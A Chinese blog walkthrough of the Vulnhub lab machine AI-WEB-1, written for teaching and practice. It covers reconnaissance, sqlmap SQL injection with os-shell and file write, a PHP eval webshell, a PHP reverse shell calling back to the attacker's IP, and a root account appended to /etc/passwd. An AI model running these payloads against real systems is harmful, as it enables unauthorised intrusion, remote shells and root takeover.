当前位置: 首页 > news >正文

Vulnhub靶机——AI-WEB-1

目录

一、实验环境

1.1 攻击机Kali

1.2 靶机下载

二、站点信息收集

2.1 IP扫描

2.2 端口扫描

2.3 目录扫描

三、漏洞利用

3.1 SQL注入

3.2 文件上传

四、权限提升

4.1 nc反弹连接

4.2 切换用户

一、实验环境

1.1 攻击机Kali

在虚拟机中安装Kali系统并作为攻击机

1.2 靶机下载

(1)下载地址: AI: Web: 1 ~ VulnHub

(2)通过上述简介可以知道,此盒子旨在测试渗透测试人员的技能,目标很简单,从 /root/flag.txt 获取标志。枚举 box,获取低权限 shell,然后将权限提升到 root。

(3)直接在VMware虚拟机中打开该靶机

1.3 工具准备

  • Sqlmap
  • BurpSuite
  • 蚁剑

二、站点信息收集

2.1 IP扫描

(1)使用命令netdiscover查找靶机的IP地址

(2)发现地址为192.168.101.132

2.2 端口扫描

(1)使用nmap工具对目标机进行端口扫描,发现只开启了80端口

(2)访问80端口,页面无可用信息

2.3 目录扫描

(1)使用dirsearch工具对网站目录进行扫描,发现robots.txt文件

(2)直接访问robots.txt文件,发现文件中有两个目录

(3)访问这两个目录,访问失败,均无权限

(4)使用dirsearch工具对目录/m3diNf0进行扫描,发现info.php文件

dirsearch -u http://192.168.101.132/m3diNf0

(5)使用dirsearch工具对目录/se3reTdir777进行扫描

dirsearch -u http://192.168.101.132/se3reTdir777

(6)使用dirb工具对目录/se3reTdir777进行扫描,发现index.php文件

dirb http://192.168.101.132/se3reTdir777

(7)访问info.php文件,可以发现文件的根路径

(8)访问index.php文件,发现是一个信息查询的界面

三、漏洞利用

3.1 SQL注入

(1)输入单引号 ' ,出现报错信息,证明存在SQL注入漏洞

 (2)输入1' or 1=1#,页面有回显信息

(3)使用burpsuite抓包,发现注入点是uid=1&Operation=Submit

(4)使用sqlmap工具进行注入测试,发现了两个数据库:aiweb1、information_schema

​python sqlmap.py -u  "http://192.168.101.132/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" --dbs

(5)查找aiweb1数据库下的表名,发现两个表:user、systemUser

python sqlmap.py -u  "http://192.168.101.132/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" -D aiweb1 --tables

(6)查找systemUser表下的字段名

​python sqlmap.py -u  "http://192.168.101.132/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" -D aiweb1 -T systemUser --columns

(7)查找systemUser表中的数据,没有发现有用的信息

​python sqlmap.py -u  "http://192.168.101.132/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" -D aiweb1 -T systemUser -C id,password,userName --dump

3.2 文件上传

(1)使用sqlmap工具中的os-shell功能,通过SQL注入漏洞在目标服务器上执行操作系统命令

​python sqlmap.py -u  "http://192.168.101.132/se3reTdir777/" -data "uid=1&Operation=Submit" --os-shell

分别选择4-php、Y和2-绝对路径,并输入拼接的上述找到的网站根路径与上传路径 /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads

(2)在kali里新建一个muma.php,写入一句话木马

<?php @eval($_POST['cmd']);?> //一句话木马,密码为cmd

(3)将一句话木马上传到网站/se3reTdir777/uploads目录下

​sqlmap -u "http://192.168.101.132/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write muma.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/muma.php

(4)在os-shell界面输入ls查看,一句话木马上传成功

(5)文件夹名为uploads,猜测可能存在文件上传漏洞,依次访问上述php文件,发现一个文件上传页面

四、权限提升

使用蚁剑进行连接已经上传的一句话木马

4.1 nc反弹连接

(1)在kali中开启监听

(2)新建一个nc.php文件,编写nc反弹脚本

<?php
$sock=fsockopen("192.168.101.130",9999); //这里是kali的IP
exec("/bin/bash -i <&3 >&3 2>&3");
?>

(3)在找到的文件上传页面上传该文件

(4)在蚁剑终端中输入ls,发现nc.php文件上传成功,执行该文件

php nc.php

(5)kali中监听成功

4.2 切换用户

(1)查找当前用户有写权限的文件

find / -writable -type f 2>/dev/null

(2)方法一:使用perl对密码进行加密

perl -le 'print crypt("awuawu","aa")' //第一个参数是密码,第二个参数是盐值

方法二:使用openssl加密

openssl passwd -1 -salt aa awuawu

(3)将用户xjy写入/etc/passwd中

echo "xjy:aa2bf6PiqD9iI:0:0:root:/root:/bin/bash" >>/etc/passwd

(4) 查看是否成功写入

(5)我们当前获得的webshell是一个非交互式的,使用脚本获得一个交互式的webshell,并切换用户

python -c "import pty;pty.spawn('/bin/bash')"

(6)切换目录,查找flag

声明

1.本博客文章均为博主日常学习原创内容,转载请注明出处。

2.文章内容如有涉及侵犯您的知识产权和版权问题,请及时与我联系。

3.希望以上的学习经验分享能对您有所帮助。

4.本内容仅供学习和研究使用,严禁用于任何非法或不道德的行为,任何违反法律的行为将由行为人自行承担。

相关文章:

Vulnhub靶机——AI-WEB-1

目录 一、实验环境 1.1 攻击机Kali 1.2 靶机下载 二、站点信息收集 2.1 IP扫描 2.2 端口扫描 2.3 目录扫描 三、漏洞利用 3.1 SQL注入 3.2 文件上传 四、权限提升 4.1 nc反弹连接 4.2 切换用户 一、实验环境 1.1 攻击机Kali 在虚拟机中安装Kali系统并作为攻击机 1.2 靶机下载 (…...

无人系统:未来科技的智能化代表

无人系统&#xff08;Unmanned Systems&#xff09;是指在不依赖人类直接干预的情况下&#xff0c;通过自主或远程控制方式完成任务的系统。随着科技的不断进步&#xff0c;特别是在人工智能、机器人学、传感技术、通信技术等领域的突破&#xff0c;无人系统在各行各业中得到了…...

在Docker中部署DataKit最佳实践

本文主要介绍如何在 Docker 中安装 DataKit。 配置和启动 DataKit 容器 登陆观测云平台&#xff0c;点击「集成」 -「DataKit」 - 「Docker」&#xff0c;然后拷贝第二步的启动命令&#xff0c;启动参数按实际情况配置。 拷贝启动命令&#xff1a; sudo docker run \--hostn…...

进程的状态 ─── linux第11课

目录 ​编辑 补充知识: 1.并行和并发 分时操作系统&#xff08;Time-Sharing Systems&#xff09; 实时操作系统&#xff08;Real-Time Systems&#xff09; 进程的状态(操作系统层面) ​编辑 运行状态 阻塞状态 状态总结: 挂起状态 linux下的进程状态 补充知识: …...

MySQL数据库基本概念

目录 什么是数据库 从软件角度出发 从网络角度出发 MySQL数据库的client端和sever端进程 mysql的client端进程连接sever端进程 mysql配置文件 MySql存储引擎 MySQL的sql语句的分类 数据库 库的操作 创建数据库 不同校验规则对查询的数据的影响 不区分大小写 区…...

什么是 jQuery

一、jQuery 基础入门 &#xff08;一&#xff09;什么是 jQuery jQuery 本质上是一个快速、小巧且功能丰富的 JavaScript 库。它将 JavaScript 中常用的功能代码进行了封装&#xff0c;为开发者提供了一套简洁、高效的 API&#xff0c;涵盖了 HTML 文档遍历与操作、事件处理、…...

Redis Desktop Manager(Redis可视化工具)安装及使用详细教程

一、安装包下载 直接从官网下载&#xff0c;官网下载链接地址&#xff1a;Downloads - Redis 二、安装步骤 2.1说明 Redis Desktop Manager是一款简单快速、跨平台的Redis桌面管理工具&#xff0c;也也被称作Redis可视化工具。 支持命令控制台操作&#xff0c;以及常用&…...

[KEIL]单片机技巧 01

1、查看外设寄存器的值 配合对应的芯片开发手册以查看寄存器及其每一位的意义&#xff0c;可以解决90%以上的单纯的片内外设bug&#xff0c;学会如何通过寄存器的值来排外设上的蛊是嵌入式开发从小白到入门的重要一步&#xff0c;一定要善于使用这个工具&#xff0c;而不是外设…...

云原生监控篇——全链路可观测性与AIOps实战

引言&#xff1a;监控即生命线 2023年某全球支付平台因一次未被捕获的数据库连接泄漏&#xff0c;导致每小时损失120万美元。而另一家社交巨头通过实时异常检测系统&#xff0c;在30秒内自动隔离了大规模DDoS攻击。这两个案例揭示了云原生时代的核心生存法则——监控不是可选项…...

C# 13与.NET 9革新及工业开发应用

摘要 微软推出的C# 13与.NET 9以“高效且智能”为导向&#xff0c;具备扩展类型、半自动属性、锁对象优化等十大革新。本文深入剖析新特性于工业级开发的应用场景&#xff0c;包含性能优化策略、AI集成方案以及EF Core实战技巧&#xff0c;为开发者提供从理论到实践的完整指引…...

Linux系统之DHCP网络协议

目录 一、DHCP概述 二、DHCP部署实操 2.1、安装DHCP软件 2.2、拷贝配置文件 2.3、配置文件详解 2.4、重启软件服务 2.5、新开一台服务器&#xff0c;查看dhcp地址获取 一、DHCP概述 DHCP&#xff08;Dynamic Host Configuration Protocol&#xff09;是一种应用层网络协…...

【Linux】【网络】不同子网下的客户端和服务器通信其它方式

【Linux】【网络】不同子网下的客户端和服务器通信其它方式 那么&#xff0c;在 NAT 环境下&#xff0c;应该如何让内网设备做为服务器&#xff0c;使内网设备被外部连接&#xff1f; 1 多拨 部分运营商&#xff0c;支持在多个设备上&#xff0c;通过 PPPoE 登录同一个宽带账…...

【C++/数据结构】栈

零.导言 栈是一种数据结构&#xff0c;在后续的学习中可能经常使用&#xff0c;因此我们今天就来学习如何实现栈&#xff0c;以更好地使用它。 一.栈的实现 栈的形式如下&#xff1a; #include<iostream> #include<cassert>using namespace std;typedef int Stack…...

Qt 对象树详解:从原理到运用

1. 什么是对象树&#xff1f; 对象树是一种基于父子关系的对象管理机制。在 Qt 中&#xff0c;所有继承自 QObject 的类都可以参与到对象树中。 当一个对象被设置为另一个对象的父对象时&#xff0c;子对象会被添加到父对象的内部列表中&#xff0c;形成一种树状结构。 Qt 提…...

【软路由】ImmortalWrt 编译指南:从入门到精通

对于喜欢折腾路由器&#xff0c;追求极致性能和定制化的玩家来说&#xff0c;OpenWrt 无疑是一个理想的选择。而在众多 OpenWrt 衍生版本中&#xff0c;ImmortalWrt 以其更活跃的社区、更激进的特性更新和对新硬件的支持而备受关注。 本文将带你深入了解 ImmortalWrt&#xff0…...

【智能音频新风尚】智能音频眼镜+FPC,打造极致听觉享受!【新立电子】

智能音频眼镜&#xff0c;作为一款将时尚元素与前沿科技精妙融合的智能设备&#xff0c;这种将音频技术与眼镜形态完美结合的可穿戴设备&#xff0c;不仅解放了用户的双手&#xff0c;更为人们提供了一种全新的音频交互体验。新立电子FPC在智能音频眼镜中的应用&#xff0c;为音…...

第2章 windows故障排除(网络安全防御实战--蓝军武器库)

网络安全防御实战--蓝军武器库是2020年出版的&#xff0c;已经过去3年时间了&#xff0c;最近利用闲暇时间&#xff0c;抓紧吸收&#xff0c;总的来说&#xff0c;第2章开始带你入门了&#xff0c;这里给出了几个windows重要的工具&#xff0c;说实话&#xff0c;好多我也是第一…...

深度学习笔记——线性回归的从0开始实现

记录学习到的知识&#xff1a; 语义分割是将标签或类别与图片的每个像素关联的一种深度学习算法。 它用来识别构成可区分类别的像素集合。 图像分割是一个端到端图像分析过程&#xff0c;它将数字图像分成多个片段&#xff0c;并对每个区域中包含的信息进行分类。三种图像分割…...

配置Spring Boot中的Jackson序列化

配置Spring Boot中的Jackson序列化 在开发基于Spring Boot的应用程序时&#xff0c;Jackson是默认的JSON序列化和反序列化工具。它提供了强大的功能&#xff0c;可以灵活地处理JSON数据。然而&#xff0c;Jackson的默认行为可能无法完全满足我们的需求。例如&#xff0c;日期格…...

AWS跨账号服务全解析:安全共享资源的最佳实践

在复杂的云环境中,企业常常需要将不同业务部门、项目或环境分配到独立的AWS账户中,以实现资源隔离和权限管控。然而,跨账户的资源共享与协作需求也随之而来。AWS为此提供了丰富的跨账号服务,允许不同账户之间安全、高效地共享资源。本文将深入解析这些服务,并结合实际场景…...

利用最小二乘法找圆心和半径

#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …...

XCTF-web-easyupload

试了试php&#xff0c;php7&#xff0c;pht&#xff0c;phtml等&#xff0c;都没有用 尝试.user.ini 抓包修改将.user.ini修改为jpg图片 在上传一个123.jpg 用蚁剑连接&#xff0c;得到flag...

超短脉冲激光自聚焦效应

前言与目录 强激光引起自聚焦效应机理 超短脉冲激光在脆性材料内部加工时引起的自聚焦效应&#xff0c;这是一种非线性光学现象&#xff0c;主要涉及光学克尔效应和材料的非线性光学特性。 自聚焦效应可以产生局部的强光场&#xff0c;对材料产生非线性响应&#xff0c;可能…...

渗透实战PortSwigger靶场-XSS Lab 14:大多数标签和属性被阻止

<script>标签被拦截 我们需要把全部可用的 tag 和 event 进行暴力破解 XSS cheat sheet&#xff1a; https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 通过爆破发现body可以用 再把全部 events 放进去爆破 这些 event 全部可用 <body onres…...

Nginx server_name 配置说明

Nginx 是一个高性能的反向代理和负载均衡服务器&#xff0c;其核心配置之一是 server 块中的 server_name 指令。server_name 决定了 Nginx 如何根据客户端请求的 Host 头匹配对应的虚拟主机&#xff08;Virtual Host&#xff09;。 1. 简介 Nginx 使用 server_name 指令来确定…...

【单片机期末】单片机系统设计

主要内容&#xff1a;系统状态机&#xff0c;系统时基&#xff0c;系统需求分析&#xff0c;系统构建&#xff0c;系统状态流图 一、题目要求 二、绘制系统状态流图 题目&#xff1a;根据上述描述绘制系统状态流图&#xff0c;注明状态转移条件及方向。 三、利用定时器产生时…...

C++.OpenGL (10/64)基础光照(Basic Lighting)

基础光照(Basic Lighting) 冯氏光照模型(Phong Lighting Model) #mermaid-svg-GLdskXwWINxNGHso {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-GLdskXwWINxNGHso .error-icon{fill:#552222;}#mermaid-svg-GLd…...

【学习笔记】深入理解Java虚拟机学习笔记——第4章 虚拟机性能监控,故障处理工具

第2章 虚拟机性能监控&#xff0c;故障处理工具 4.1 概述 略 4.2 基础故障处理工具 4.2.1 jps:虚拟机进程状况工具 命令&#xff1a;jps [options] [hostid] 功能&#xff1a;本地虚拟机进程显示进程ID&#xff08;与ps相同&#xff09;&#xff0c;可同时显示主类&#x…...

算法笔记2

1.字符串拼接最好用StringBuilder&#xff0c;不用String 2.创建List<>类型的数组并创建内存 List arr[] new ArrayList[26]; Arrays.setAll(arr, i -> new ArrayList<>()); 3.去掉首尾空格...

rnn判断string中第一次出现a的下标

# coding:utf8 import torch import torch.nn as nn import numpy as np import random import json""" 基于pytorch的网络编写 实现一个RNN网络完成多分类任务 判断字符 a 第一次出现在字符串中的位置 """class TorchModel(nn.Module):def __in…...